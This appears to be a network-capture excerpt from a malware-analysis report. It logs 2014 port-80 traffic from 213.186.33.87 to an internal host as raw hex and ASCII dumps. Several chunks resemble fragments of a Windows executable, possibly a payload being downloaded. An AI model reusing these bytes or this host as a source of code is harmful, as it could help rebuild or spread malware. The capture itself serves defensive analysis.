Aug 8, 2014 11:26:05.583972931 MESZ801032213.186.33.87192.168.1.13Data Raw: e8 b2 1e c6 0a 0a 0a 0a 66 0a 6b 01 08 e1 ad f0 0a 5c 83 0a 0a 0a 0a e6 0a 79 0a 56 f6 70 4c 84 08 0a 0a 0a 0a 0a a6 0a e8 f9 70 ba 0a f5 0a 0a 06 0a 0a 38 0a 0a f2 69 0a 38 22 0a 66 5f c4 0a 36 0a 0a 0a 89 44 8e 0a 0a 0a 0a c3 e3 99 73 0a 0a 10
Data Ascii: fk\yVpLp8i8"f_6Dsdy?r!EcBut]9ym+c]`Wj,AF84H$4]aA(` _H"r
152
Aug 8, 2014 11:26:05.584501028 MESZ801032213.186.33.87192.168.1.13Data Raw: e9 0a 38 0a 08 0a 04 14 0a 0a bc 78 0a 0a 0a 0a 0a a4 0a ba 22 b0 11 0a 0a 58 0a 78 91 0a cc 0a 0a 0a 76 4a b7 50 0a 0a 21 0a 0a 0a 25 9b 00 18 0a 1e 90 90 0a 01 0a 0a 0a a4 0a 26 44 0d 2c 0a 92 0a 0a 74 ca 0a 99 0a 0a 0a fd b3 0a 9d 0a fc eb 6a
Data Ascii: 8x"XxvJP!%&D,tjYl\80fN2HvZ@I4V;vM#?/NCuz]8z7%kD
153
Aug 8, 2014 11:26:05.595576048 MESZ801032213.186.33.87192.168.1.13Data Raw: 65 65 0a 7a 0a 7c 33 0a 0a 93 0a a4 24 b0 0a 79 48 0a f4 1c d6 4e 0a 0a 0a 0a d3 0a d3 3b 0a 72 0a 6a 5d cc 0a 30 0a 16 0a 0a 0a 0a 21 0a 0a 0a 1e 14 75 14 0a 0a 0a 0a 0f 0a 42 0a 40 0a 0a 18 64 c3 e1 0a 0a 2c 0a 0a 0a 68 39 a8 91 0a ec 05 41 f1
Data Ascii: eez|3$yHN;rj]0!uB@d,h9A)JppA{Fb.MkTPe~(:yT~(YhFD~[S#|~p/G
155
Aug 8, 2014 11:26:05.595607042 MESZ801032213.186.33.87192.168.1.13Data Raw: 3c d5 fb 0a 0a 0a 0a 85 0a 25 0a 09 d1 0a 0c 13 0a f4 4e 0a f9 0a 08 0a 7c b0 bb a2 67 30 96 0a ce 0a 88 0a 0a 4d 89 e0 80 0a 83 e0 1e 0a 0a 12 db 0a e8 0a bc 0a 17 b0 0a 0a 0a 1f 31 0a 0a 0a fc 24 0a 6f 2c 60 0a 0a 0a 0a 0a 79 0a 2b 30 a4 0a 0a
Data Ascii: <%N|g0M1$o,`y+0<yCP+R|@7N`XhIfc@VB,X"EI|W:-kE:J{F3{
156
Aug 8, 2014 11:26:05.595618010 MESZ801032213.186.33.87192.168.1.13Data Raw: 7e 55 db 67 0a 92 0a 0a 0a f6 0a 20 0a d7 95 09 5a 10 f0 1c 0a 0a 0a 0a c5 0a 0a 45 83 3f 0a f7 0a 55 25 2e 53 30 0a 99 0a 19 e7 9b 0a 0a fc 0a 73 d7 aa 09 d7 0a ef 0a 0a 0a 5a 46 0a fa 0a f4 10 bb 0a 07 0a 0a 0a 85 98 43 2c 0a 0a 50 fd 0a 0a 0f
Data Ascii: ~Ug ZE?U%.S0sZFC,P\8@Kuk:X<;RhYL-L @M6wp~F
157
Aug 8, 2014 11:26:05.612018108 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 65 89 06 0a ff 0a 0a e1 0a ee 0c 79 0a d6 0a 0a ef 0a 7d 0a 08 0a d4 0a b0 1f 5f 3c 45 0a af 0a 14 0a cb 31 0a 7e 3b ed 7b 41 0a 0a 0a f1 0a 0a 0a f3 db b4 a2 0a 51 62 0a 42 e4 0a 28 0a 53 0a 27 0a 56 fe ea 9a 01 0a 0a 0a 0a 7c 0a 11 85 67
Data Ascii: ey}_<E1~;{AQbB(S'V|g`FS458Pd/c{YubPur`/FL5E-,w3'r$L1&5[
159
Aug 8, 2014 11:26:05.612046957 MESZ801032213.186.33.87192.168.1.13Data Raw: 2d 10 3b 0a 0a 00 4f f6 1e 0a 24 67 0a 0e 0a ef 94 dc 00 a1 9b 1f 0a 12 0a c8 0a be 08 8f c7 d9 c8 a8 0a 0a a0 96 d7 0a 0a 2a 0a 0a 0a 2c 0a 0a 0a 0a 0a 95 95 0a 0a 37 6f 98 e3 d0 91 46 0a 0a 0a 0a 0a 0a 79 b7 66 0a 0a 11 85 31 0a 0a 0a c9 0a 0a
Data Ascii: -;O$g*,7oFyf1i0sBTXA_b\F1}`19%"(8/y=5fj-@2:5``
160
Aug 8, 2014 11:26:05.612571955 MESZ801032213.186.33.87192.168.1.13Data Raw: 0f bf 0d f0 4e 44 00 03 c1 66 a3 e4 52 45 00 e8 a4 fb ff ff 0f be 15 8a 53 45 00 23 55 fc 89 15 8c 53 45 00 b8 c8 00 00 00 66 a3 e4 52 45 00 0f b6 15 9d a9 44 00 0f b7 0d e4 52 45 00 83 e1 1f d3 e2 66 89 15 84 4d 44 00 c6 05 52 4d 44 00 16 a0 52
Data Ascii: NDfRESE#USEfREDREfMDRMDRMD]U0EDEzfEEAEPE<F%EEyEEMMEHEUUfEfEfMfUqfE8fME
161
Aug 8, 2014 11:26:05.617420912 MESZ801032213.186.33.87192.168.1.13Data Raw: 4d e3 0f b6 55 e2 33 ca 74 0b b8 01 00 00 00 66 89 45 e8 eb 07 c7 45 d0 01 00 00 00 0f b7 55 e8 0f b6 4d e2 d3 fa 66 89 55 e4 eb 30 0f b7 45 e8 39 45 d0 75 14 0f bf 4d dc 33 d2 81 f9 89 00 00 00 0f 9e c2 88 55 e3 eb 13 0f bf 45 f4 0f b7 4d d4 33
Data Ascii: MU3tfEEUMfU0E9EuM3UEM3;fUE;EufME]%bB%bB%bBT$L$ti3D$ur=3Zt]Wr1t+u
162
Aug 8, 2014 11:26:05.634236097 MESZ801032213.186.33.87192.168.1.13Data Raw: e2 7f 03 00 f2 7f 03 00 4a 80 03 00 3a 80 03 00 26 80 03 00 02 80 03 00 16 80 03 00 d4 7f 03 00 00 00 00 00 06 00 00 80 00 00 00 00 2e 75 03 00 3a 75 03 00 0e 75 03 00 ce 74 03 00 c0 74 03 00 e2 74 03 00 1e 75 03 00 f6 74 03 00 00 00 00 00 9c 75
Data Ascii: J:&.u:uutttutuuuuuuuvv v2v<vFv^vnvvvvuuXuhuxuvvvw,wBwXwvwwwvwwwwv
164
Aug 8, 2014 11:26:05.634260893 MESZ801032213.186.33.87192.168.1.13Data Raw: df d3 00 14 17 c9 17 00 fd 00 2b 7f 00 b0 00 c9 dd 00 d3 2c 00 df ab 09 00 df 2c 00 a4 00 ab 2c 09 bd 00 ab fd 00 df b0 df a4 7f 00 7f 00 2b 14 00 7d a7 10 00 c9 00 15 dd 00 bd d3 ab 2c 00 dd 09 2b 00 dd bb bd 00 ab 00 bd 00 10 00 c9 a7 00 d3 00
Data Ascii: +,,,+},+,+,+,+},+++}+,
165
Aug 8, 2014 11:26:05.634788036 MESZ801032213.186.33.87192.168.1.13Data Raw: 8a 0a 0a 04 03 66 0a c6 b8 0a 4b a6 0a 94 0a a3 59 0a 33 0a da 0d 37 d0 0a 85 05 0a 5d 0a 42 0a 5f 66 9c 04 0a 0a 3d 4f 0a 1d 0a 77 2d 54 0a b5 f1 8c 02 4b 02 0a c6 0a e3 0a ab 0a 52 e7 6d 0a e7 b4 4e 0a 0a 0a 0a af 0a 67 0a ab 0a 0a 0a 0a cf 0f
Data Ascii: fKY37]B_f=Ow-TKRmNg0Xdn~8MKs,9cQH[#*b.8\]}!]Wpl3N15399Tz}
166
Aug 8, 2014 11:26:05.640681028 MESZ801032213.186.33.87192.168.1.13Data Raw: 40 0a 0a 0a 6b 0a 80 0a 0a 15 0a 04 ac 02 1c 0a 0a 85 83 0a 0a 2b 0a d3 0a 0a 54 14 76 0a 0a b4 ae 0a 0c 0a 78 6a 79 0a 52 98 0a c9 1d 0a 13 0a 0a 1c 30 0a 0a 4f c8 0a 27 0a 13 0a 0a 0a 0a 0a 0a 0a 39 66 6d f6 0a 22 f6 64 0a 0a a5 8b 7a 97 60 0c
Data Ascii: @k+TvxjyR0O'9fm"dz`m@j7GZ`h_T/!<$Sa4vh$|!{%ecCF-57;p"|&jSIN/Be45
167
Aug 8, 2014 11:26:05.640708923 MESZ801032213.186.33.87192.168.1.13Data Raw: 26 0a 0a 55 0a 0a 42 0a 0a 0a fa 13 9d 09 0a 0a be 0a 0a 0a 0a 0a 0a bf f1 2f a2 0a 0a 0a ea 0a b7 ae 0a 0a c7 0a ba 0a 0a 0a 0a 64 0a 0a 25 0a 22 0a 0a 0a 0a 5d 21 36 1b f0 0a 0a 10 04 d2 0a 0a 05 d3 0a 09 0a 60 0a 0a b5 0a 0a d3 0a 71 40 b2 0a
Data Ascii: &UB/d%"]!6`q@c1QT.C3=N;|n*PAFL RiZ&*rBah.A
169
Aug 8, 2014 11:26:05.640719891 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 77 c9 81 0a 0a 0a 9b 0a 0a 0a 0a f7 0a 27 a6 44 0a 0a 48 dd 34 9c 45 0a a9 a5 0a 20 cc 24 88 09 0a b8 38 21 91 0a 0a 0a 0a 4f 0a 0a 0a 0a 30 e0 0a 0a 0a fe 0a 0a d9 0a 22 0a 0a ee 0a de 66 8c 13 2b 0a 0a 0a e2 0a 35 0a c3 26 d4 0a c2 0a 8b 0a
Data Ascii: w'DH4E $8!O0"f+5&d]F}Hv:44:j/fG3!.}D^8z(tX" {aJ9$2R
170
Aug 8, 2014 11:26:05.646722078 MESZ801032213.186.33.87192.168.1.13Data Raw: 72 0a 94 0a 0a 57 e5 7e 0a 0a d0 5e e3 0a 88 0a f9 02 0a 0a 0a 0a 0a 0a 44 0a b8 0a 24 0a 89 51 3b 0a 78 1a d5 04 ee 0a 0a 08 f2 e5 0a 56 b1 c5 b7 5c 1c d5 0a 26 1b 0a 87 0a b1 b8 0a 56 0a 0a 12 0a 0a 0a 0a 0a 0a 0a 0a f4 4a 0a 4f 0a 95 0a 91 50
Data Ascii: rW~^D$Q;xV\&VJOP(@??HIYuBeVcG ]zs6s1fp8Fzh8A~ZV3
172
Aug 8, 2014 11:26:05.646749973 MESZ801032213.186.33.87192.168.1.13Data Raw: 66 3a 47 0a 08 0a 0a a1 0a 51 47 f6 c3 00 d4 0a df 5d 0a 0a 0a 0a 0a 34 0a 3f 0a 57 4c 0a 0a 0a 0a 0a 7b 0a 22 8d 0a 67 41 30 0a 0a 2b c9 b1 5e 0a 2b 12 27 13 0d 0a 4c 0a 0a 0a 0a 13 0a e9 88 24 0a 0a 9d fc 0a 0a c3 0a 9a ed ec a1 72 7c 6c 21 0a
Data Ascii: f:GQG]4?WL{"gA0+^+'L$r|l!67*W ZC5dFL;A\"qPMx%pK3pWROVm!UY
173
Aug 8, 2014 11:26:05.646759987 MESZ801032213.186.33.87192.168.1.13Data Raw: 66 47 0a 01 c5 13 41 93 0a eb 0a a5 b1 0a 0a 9c 39 0a a9 7b 0a ae 0a 0a 0a 0a 2c 40 04 c1 92 0a 0a 0a b2 0a 13 0a 44 0b 0a 0a 0a be f6 19 7d 0a 80 d2 fe 0a 06 0a 0a 0a 0a 0a 0a be 0a 0a 25 0a 0a 0a 98 37 01 0a 0a 6e 0a 27 b0 f8 20 91 83 e4 cf 0a
Data Ascii: fGA9{,@D}%7n' $<%B`TzIWI,HBDF691daLZzK* h
174
Aug 8, 2014 11:26:05.650734901 MESZ801032213.186.33.87192.168.1.13Data Raw: 38 0a 2b 0a 47 0a a1 9e 36 44 0a 0a cd 1f 0a 0a 0a 0a 9f 0a 7a 0a ec 40 0a 0a 0a 0a 0a 0a 0a 98 68 0a 79 6e e0 a6 0a 0a 0b 4b 48 0a 72 64 e0 23 5b 0a 0a 0a 24 6e 05 99 0c 0a a1 0a 0a 0a 0a 31 0a f3 eb 6a eb 90 ce 31 c6 0a 96 81 0a 00 0a 4f f6 ee
Data Ascii: 8+G6Dz@hynKHrd#[$n1j1OnXplkHPX7{0$(poj*K8Bzb$@V8QnF
175
Aug 8, 2014 11:26:05.650763988 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a e3 0a 51 0a 0a 31 0a b3 0a 8e 58 3e d2 0a 17 0a 0a d8 0a 76 73 05 0a 98 0a bb 0a 0a 16 0a be 0a 44 0a 0a 02 0a e4 0a 0a 40 1f 0a 0a d6 0a e7 65 d8 93 0a e2 d7 75 0a 0a 0a c1 0a ee 52 82 0a 0a 0a 0a 0a 92 0a 55 97 19 cd df 0a 4c 0a b6 0a 80 26
Data Ascii: Q1X>vsD@euRUL&q_BbcR79GVQ@ KvA~D%p"f|ctv@Bd{P
177
Aug 8, 2014 11:26:05.651288986 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 86 0a 0a 0a ac f9 13 95 5a 0a 59 ce 0a b4 0a 28 f4 a9 05 78 0a 0a 29 50 8c 0a 7d bb 55 0a b4 0a 0a 6b 0a a7 04 0a 30 0a 51 0a 0a 0a 0a b4 06 0a 0a 92 0a 46 5f 0a 68 cb ba 0a 4d b9 0a d7 20 61 0a 63 0a 0a fa 0a 0a 0a 53 83 0a 0a 0a 0a 69 d2
Data Ascii: ZY(x)P}Uk0QF_hM acSi>?t>,)ieD;*`b(xE42/_^_|Xe(zS0eDV^6
178
Aug 8, 2014 11:26:05.661278963 MESZ801032213.186.33.87192.168.1.13Data Raw: f5 0a 69 10 25 5b 3f 32 61 7d 0a 5c 7a 00 f0 0a 0a 8e 16 3d a0 0a 0a 27 0a f6 0a 0a 0a 72 e1 0a 0a 0a 0a c0 0a c1 0a 63 d4 c1 0a 0a 0a 4c 9f e0 0a 2a 0a 6e 0a cc 4c 40 0a 0a 72 0a 0a 0a 0a 87 0a d9 0a 00 81 0a b2 0a 88 0a 06 1a 0a aa 85 e5 43 42
Data Ascii: i%[?2a}\z='rcL*nL@rCB#%lyDhaV<Rc.ObCNZL;=V$fGU*FT`"e~@e
179
Aug 8, 2014 11:26:05.667129993 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 0a 0a 38 0a 0a a0 0a 0a 0a 0a 87 0a 62 0a 87 10 10 0a 0a 0a 4e 07 0a 0a a1 48 ad 1c 38 1c 0a 0a bf 0a 7b fc 0a a7 0a 0a 0a 0a 0a 05 0a 0a 0a a3 d5 0a 0a 0a 0a 39 30 6c 95 0a 0a e1 0a ae e9 92 39 d0 81 0a 0a 0a 16 0a 0a 0a 0a 2b 0a 4f 0a ba
Data Ascii: 8bNH8{90l9+Owy1H$3%Z0#9A?]kcVy{n&#gC`RzPzRx11ADqH5C!
180
Aug 8, 2014 11:26:05.667682886 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 06 0a 1f 0a 0a 42 0a 0c 0a 0a 37 0a 26 0a 0a 40 2e 0a 0a d3 94 44 1b a5 74 0a 0a e2 66 0a 41 0a 0a 38 0a f0 0a 81 0a 0a 0a 52 0a 0a 0a bb 0a 21 b2 0a bf c9 0a 52 ad db 13 0a 0a 9b a0 87 e9 41 db 59 12 a2 0a 0a 10 0a 0a 0a 0a 0a 0a 46 0a 0a 0a
Data Ascii: B7&@.DtfA8R!RAYFH6c"H Apx+XJo!PpD\k)Ax([@t$f<~zH\r
181
Aug 8, 2014 11:26:05.675451994 MESZ801032213.186.33.87192.168.1.13Data Raw: 06 0a 8a 83 d1 0a 07 0a 84 b7 ca 45 27 a3 0a 0a d8 0a 0a 0a 87 0a 7c 0a 0a 0a f9 0a 0a 0a 0a 6d 0a 0a f3 84 30 41 58 af 7d 0a 22 2b 3c 0a 0a f5 0a b3 0a 0a 0a 0a eb 0a b3 0a 0a 0a c6 0a 0a 0a 0a aa 1b f3 0a 0a 34 0a 39 f4 0a 67 8c 0a 0a 3c 0a 0a
Data Ascii: E'|m0AX}"+<49g<]"@IJFx(4!e79{!N!p.584:rHH
183
Aug 8, 2014 11:26:05.675481081 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 11 2c e0 e4 22 0a 00 f8 0a 40 19 5c 0a 0a 0a 0a 0a 0a 0a 0a c2 0a 0a 6d 0a 0a 61 0a ec 9f 32 a7 30 70 ad 0a 47 0a 29 5c 88 4e 2c 31 f3 3a 0a 0a 0a 0a 0a 9c 65 0a 0a 0a 0a 0a 52 0a 0a 70 0a 84 32 0a 0a 67 1a aa dd 49 96 91 29 0a 0a 8f 0a 44
Data Ascii: ,"@\ma20pG)\N,1:eRp2gI)DV@P{B@hH%QXIqS ]Tto=lDJk
184
Aug 8, 2014 11:26:05.675512075 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 1b bf 0a 06 0a 8d 5b 9e 0a 14 0a 39 0a 78 0a 0a 0a 0a 8c 0a 0a 0a 0a 76 0a 0a 0a 0a d6 70 cb 47 0a 04 ca 70 f1 15 29 1d 0a 88 0a 0a 0a 20 0a 64 0a 0a 0a 36 0a 29 0a 34 0a 0a 0a d3 0a 0a 0a 61 0a 0a 0a 75 03 dd a8 a8 8d b7 b0 0a 0a b9 48 0a 0a
Data Ascii: [9xvpGp) d6)4auH6~im"Lu8 ]'p<d5d?)\QM!/)l0lH,s
186
Aug 8, 2014 11:26:05.676002979 MESZ801032213.186.33.87192.168.1.13Data Raw: 51 0a af 33 04 0a 4f 0a f7 b5 45 cf 3a 0a 0a 0a 0a 0a 25 b2 84 4b 88 0a 13 0a 51 c0 86 0a 0e 0a a3 0a c0 0a e2 60 0a 87 99 70 02 7f 0a 80 0a 9e 0a 39 3d 2b 0a 0a 05 01 3e 0a 1d 0a 83 0a 9d 0a 4a 33 a2 0a 0a 24 6c ad 48 0a 0a 0a 0a 91 0a d9 0a 70
Data Ascii: Q3OE:%KQ`p9=+>J3$lHp :A",`V7
186
Aug 8, 2014 11:26:05.676028013 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 06 c1 37 0a 0a d0 12 42 84 0a 2c 0a 2b 5d 0a 0a ec 0a 0a 20 86 0a 55 42 0a 0a 0a ac eb 0a 0a 0a 0a 48 1c c4 92 c9 0a 0a 0a 0a 1e eb 0a 0a bc 03 ad 38 1c 75 8e 98 0a 0a 1a 0a 48 04 d8 0a 35 18 0a 17 96 41 0a c4 0a 0a 0a 10 6f ce 0a 0a 0a 0a
Data Ascii: 7B,+] UBH8uH5AoPS^$Bw:T*0E;XP(.jKhQ0(7"+)^&"$!2~k'0q%R
187
Aug 8, 2014 11:26:05.676044941 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 71 74 43 33 0a c0 12 0a 0a 0a 14 0a d3 41 0a 43 46 08 ce 0a 0a 0a 50 1f 0a 14 0a 98 f1 0a 30 0a b2 69 f0 1e db 0a 0a 0a 0c fb d4 25 0a 89 f3 ac ad 0a 0a 12 0a af 0a 23 51 8c 3e 4d 0a 0a fb 40 0a 0a 11 d1 a0 0a a5 0a 12 47 7f 0a 00 4c 0a 0a e4
Data Ascii: qtC3ACFP0i%#Q>M@GL5u4ylI<G"!fdmjDn{U1IZ^cC~=XRY*,)mz]$_Dk
189
Aug 8, 2014 11:26:05.676592112 MESZ801032213.186.33.87192.168.1.13Data Raw: 4b 06 54 0a 0a 03 d2 04 0a 08 0a 9d 0a 21 0a 0a 0a 0a bb 0a 86 0a 50 0a b4 0a 0a 0a 22 0a 4d 0a be 88 0a 6b 90 0c 47 0a 0a 62 0a 8a 0a 36 0c 07 0a b2 3b 49 c0 0a 0a 0a a8 0a 0a 0a 30 3e 34 ae 0a 81 03 91 08 0a 0a 0a 0a cc 0a 1b 25 d2 b4 0a 57 0a
Data Ascii: KT!P"MkGb6;I0>4%WE%(n$,O4d>$U$9!tPX:G?Zh.wjwId6BN10jj"
190
Aug 8, 2014 11:26:05.685424089 MESZ801032213.186.33.87192.168.1.13Data Raw: 07 a3 0a 0a 0a 62 6f 0a 0a 0a 0a 11 37 03 4c e1 84 0a 0a a9 0a 47 0a 0a 0a 0a d7 0a ad e0 a6 0a 0a 0a c1 0a 0a 54 0a 53 8c 04 0a 54 0a b8 a9 0a 0a 4c 0a ea 2d 80 0a 91 67 0a 55 0a 0f e0 0a 0a ed 0a a8 62 44 b6 82 29 0a 65 6b 38 0a 0a 0a 09 0a 0a
Data Ascii: bo7LGTSTL-gUbD)ek87!DMx!tSlzX`Rs/jPk$waJs=1q4GxvE/TH<;O(kK7i (60
191
Aug 8, 2014 11:26:05.685446024 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 40 41 a0 0d 0a 0a 0a 54 03 09 0a 0a 0a be 0a 05 59 45 ce 0a a8 fd 19 70 d3 03 c5 ac 0a 0a 72 00 2f 26 e4 ae bf ae 0a ec 0a 0a 89 0a 0a 70 7c 08 94 57 0a 0a e7 83 0a 0a 29 17 e0 0a 18 0a 25 44 27 0a da 30 0a 0a 0c 0a a0 0a 79 81 7e 02 0a 0a
Data Ascii: @ATYEpr/&p|W)%D'0y~Waj@\4-)jC>H;3'dp~7*0B`!Dc`dR`x]!KH
193
Aug 8, 2014 11:26:05.685455084 MESZ801032213.186.33.87192.168.1.13Data Raw: 85 0a 83 0a 27 0a 0a 0a 0a a8 0a 2c 0a cc d9 49 0a 0a 0a 5e 0a 0b 0a d0 30 0a 4b 0a 47 0a 2a fb 09 0a 4c 0a 3a 40 0e 0a 40 7c f9 78 96 0a 0a 0a 0a 29 0a 06 0a b1 d9 1c 45 0a 11 bf 0a 0a 0a b3 79 0a 14 7c 35 1b 0a 59 37 61 eb c4 9c f1 f3 0a 0a 89
Data Ascii: ',I^0KG*L:@@|x)Ey|5Y7aYYDhB4"9.PXUKE!9TA3IRU0r
194
Aug 8, 2014 11:26:05.701436996 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 0a 0a 0a 54 0a 82 86 28 0a 0a ed 22 c8 cd 0a 0a 05 0a ef 0a 60 0a 0a bf 01 5a 4a 78 25 0a dc 0a 0a 5e 62 98 d4 f1 b2 0a 50 e9 23 38 0a 01 74 0a 0a 0a c6 46 50 06 0a c3 b7 0a b9 c1 0a 5e 0a 0a 0a bd 62 49 0a 0a ac 0a 92 0a 27 0a c6 0a a4 c4
Data Ascii: T("`ZJx%^bP#8tFP^bI'_bKxp-~00?AD2`"bCj\-YG]$*r97ZmfX|jrK@L[
195
Aug 8, 2014 11:26:05.892038107 MESZ801032213.186.33.87192.168.1.13Data Raw: 24 fb 0a ee 07 95 0a 0a fe 12 d7 0a c8 0a 24 0a 0a 0a 0a 0a 68 e3 99 82 40 94 96 70 b8 38 d9 5e 90 a9 d6 0c 5f 0a 0a 53 0a 0a 0a 07 d1 0a 0a 0a 0a 44 83 c7 dd 0a 4a 0a 0a 0a 7f 0d a0 0a 01 0a 0a 0a d3 26 00 0a 0a 50 0a 2f 40 89 3a 9a 0a 0a 0a 0a
Data Ascii: $$h@p8^_SDJ&P/@:E\1*@0v~RFj}8$*^&)/^"6WlQHPw{N"w$K
196
Aug 8, 2014 11:26:06.476789951 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 0a 0a 0a 90 0a 48 17 36 12 0a 38 0a 77 ea 0a 0a 90 0a a9 0e 2c 0a 60 aa 0e 6c 0a 0a 0a 0a 0a 06 0a da 5c c9 66 0a 0a 0a 12 20 0a 0a 0a 0a e3 0a 14 40 28 b0 0a 00 fd 47 5a 0a 0a 92 0a 0a 0a 27 60 b2 bc 0a 0a 53 2d 0a 0a 0a e5 0a d5 0a 65 0a
Data Ascii: H68w,`l\f @(GZ'`S-e:2iR7GO24G$#tpL6zj$CB2h<W`"5
197
Aug 8, 2014 11:26:06.476821899 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 60 22 8d 0a 0a 0a c5 0a 48 0a c1 2b d9 0a 0a 7a 08 0a 21 0a 0a 0a 0a 0a 5f 74 a2 0a fb 0a 0b 29 0a 0a 0a 0a f7 0a 04 0a 88 ae 0a 0a 0a 11 8c 02 0a 7f 0a 95 0a 0a a3 1c ba 0a 04 0a 1b 5e 27 cb 8c 0a 61 0a 35 0a dd 0a 0a 58 c4 05 0a 76 0a 0a 0a
Data Ascii: `"H+z!_t)^'a5Xvs<5e9"<$0DZ(Jm@%]b2,m ~ Fz(T;<lo
199
Aug 8, 2014 11:26:06.476833105 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 4d 0a 47 0a 13 0a 28 e7 0a b8 7c 13 0b 11 0a 0a 0a 09 0a 3d 0a de 1f 8e 9e 0a e0 af 0a 0a 0a 0a 0a 0a b8 0a 1e da 0a 0a 88 ac 1e 0a 8a 1d 0a 4f 0a a6 d1 4e f9 31 0a 6a 0a 12 0a 0a 4a 0a 20 1e 12 0a 9a 82 0a 0a 0a 0a e4 d0 3a af 19 8c a6 10 0a
Data Ascii: MG(|=ON1jJ :uxO@;[/O>!Hw<Tj*(W>daf|")DK
199
Aug 8, 2014 11:26:06.477457047 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 57 5a 0a e3 0a 0a cc 0a 06 0a 23 8a 0f 0a d8 0a ae 0a 0a 0a 0a 17 0a 78 8f 28 c1 0a 32 0a 80 0a 0a 34 99 0a a3 0a 0a 0a ec 41 0a 0a 0a 70 5b 0a f2 77 aa e2 0a 0a 85 22 0a 0a 0a 0a 0a fc 0a a4 08 03 0a 0a 55 38 06 0a 0a 0a 83 0a d8 0a 0a 0a 6e
Data Ascii: WZ#x(24Ap[w"U8n>e-C"HUt|/#C'a S,QZ(Ju7aPI
201
Aug 8, 2014 11:26:06.477473974 MESZ801032213.186.33.87192.168.1.13Data Raw: a3 e8 eb 0a 0a d4 0e 0a 0a 0a 0a 75 0a 0a 29 3f 1f 0a 3e 0a 9d c5 cc 0a 3b 0a 0a 0a ea 2c 3b 0a 0a 83 0a 83 09 b9 0a 0a 0a 95 0a 0a 0a 8e 0a 0a 03 0a ec af 0f e7 c2 0a c3 0a 5e 0a 2e e5 0a 8d b2 b2 0a 0a 88 5c 0a 5a 0a e2 46 ec 0a ba 3c 0a 22 0a
Data Ascii: u)?>;,;^.\ZF<"POR:[{~h!v1 ODuabDaeB6s\y3SUXjm2OD8
202
Aug 8, 2014 11:26:06.477483034 MESZ801032213.186.33.87192.168.1.13Data Raw: 61 18 0a 0a 0a be 0a 0a 0a 63 d8 a1 de 4d 0a 0a 0a 38 0a 0a ad b4 0d 0a 05 0a 2b 14 6d 0a b9 0a fa 0a b9 0a 31 8d 34 1a 1a 5e 0a 0a 0a 5c 0a 87 0a 0a 22 43 54 0a 96 ea fd b8 0a 0a e6 0a d2 a0 6d 0a 0a 23 cc 0a d1 0a f5 0a 0a 0a 0a 19 8b 84 28 33
Data Ascii: acM8+m14^\"CTm#(3;4:*(.*pVGC S0BW*<E;fxW
204
Aug 8, 2014 11:26:06.477998972 MESZ801032213.186.33.87192.168.1.13Data Raw: 65 0a 0a d0 df 5d 0a 0a 0a 08 0a 0a 0a 2c 21 d2 76 0a 12 0a 63 28 0a 0a 0a 0a 0a 3d 94 eb bf 33 0a 11 0a d0 0a 0a 0a 1b 0a f3 0a 20 87 07 00 0a df fe 2e 0a 43 ea 93 8a 0a 0a 4c c5 0a 63 0a 0a 0c e3 22 4a 3d db 0a 22 0a 9c 0a a3 0a 8a 0a 84 01 0a
Data Ascii: e],!vc(=3 .CLc"J="Q<4'i,
204
Aug 8, 2014 11:26:06.478168964 MESZ801032213.186.33.87192.168.1.13Data Raw: 6d d6 70 6b 0a 69 0a f9 0a 92 0a 83 30 52 63 3b 16 23 99 af 0a 0a 0a 0a 23 70 a3 0a 55 24 0a a7 79 0a b7 72 0a 5e 0a f1 52 1c 12 92 16 12 b7 af 0a 0a 35 0a 0a 0a 86 c7 b8 02 0a 7a a7 15 0a 0a 0a 57 0a 54 0a 57 0a 1c 8b 0a 75 24 cb 7c 0a 0a 0a 0a
Data Ascii: mpki0Rc;##pU$yr^R5zWTWu$|}$cw+xJ&A_mrL~y7OHJ<"#;x4;*HAL1CaE:q#z
206
Aug 8, 2014 11:26:06.478187084 MESZ801032213.186.33.87192.168.1.13Data Raw: dd b2 0a 0a 78 0a f8 0a 2e 0a 24 8f 70 0a 0a 0a 1e 73 63 0a b2 0a 8f 0a 0e 0a 0a 61 0a 26 a7 1d 0a 0a c8 0a 90 0a fb 42 0a 1a f2 2e e1 0d 44 93 42 0a d3 0a 48 0a 43 0a 0a 8c 0a 0a 0a 0a 03 b8 58 0a 08 60 50 77 3f 31 0a 02 1d 65 0a 3b 70 93 28 61
Data Ascii: x.$psca&B.DBHCX`Pw?1e;p(a=.Vws0H!!,<Z$Tg0gl-QtjYi=}[1 G`T
207
Aug 8, 2014 11:26:06.478624105 MESZ801032213.186.33.87192.168.1.13Data Raw: 81 39 18 0a 4e 4e 6e 0a 0a 0a b4 d9 93 0a 0a 0a 0a 0a 0f 0a 4f 7b 0a d2 0a 0a 0a 0a fb 0a f7 ce 43 0a df 0a 1b a8 6a 69 c6 21 0a 0a 0a 45 0a c2 da 0a ea 01 0a 0a 8e 0a fc 0a 0a 0a 0a 9d 0a 0a 0a 1d 0a 10 c9 f1 5a 0a 24 7d 49 17 0a 90 99 8c 0a 0a
Data Ascii: 9NNnO{Cji!EZ$}IpH-14&b4c7^aoc4Hvm"&p>( U_)g/
209
Aug 8, 2014 11:26:06.478641987 MESZ801032213.186.33.87192.168.1.13Data Raw: aa 0a 0a 0a 18 0a 14 0a 29 93 88 0a 0a 38 3d 0a 0a 0a 0a 0a 10 0a ef 0a 0e 0a 0a bc 0a 0a 0a aa ab 99 13 0a 44 ae 1b 5c 0a 2b 0a 0a 68 28 de 0a 39 37 f2 0a 0a 0a 0a 30 0a 61 8c 0a 51 0a b8 0a 0a 44 59 96 8c 7f a3 04 f3 0a 0a 0a 48 d1 df a8 0a 84
Data Ascii: )8=D\+h(970aQDYH$!#A9Lfn_D~j"TLc=+=qFYSJj`0x$jy
210
